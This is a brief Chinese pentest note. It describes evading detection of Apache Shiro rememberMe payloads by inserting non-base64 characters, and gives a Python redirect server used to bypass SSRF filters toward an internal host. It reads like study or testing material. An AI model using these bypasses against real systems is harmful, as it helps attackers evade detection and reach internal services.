shiro绕过流量检测(rememberme里添加非base64字符如$,!)
SSRF 绕过-利用30X重定向
原理:org.apache.shiro.codec.Base64;中的实现base64Data = discardNonBase64(base64Data);里面的解码有去除垃圾字符的作用
测试结果如下: 需要服务端开启代码:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://10.100.12.40:8080/')
self.end_headers()
if __name__ == '__main__':
server_address = ('', 8000)
httpd = HTTPServer(server_address, RedirectHandler)
print('Server running at http://0.0.0.0:8000')
httpd.serve_forever()
ssrf访问: http://10.100.12.35:8000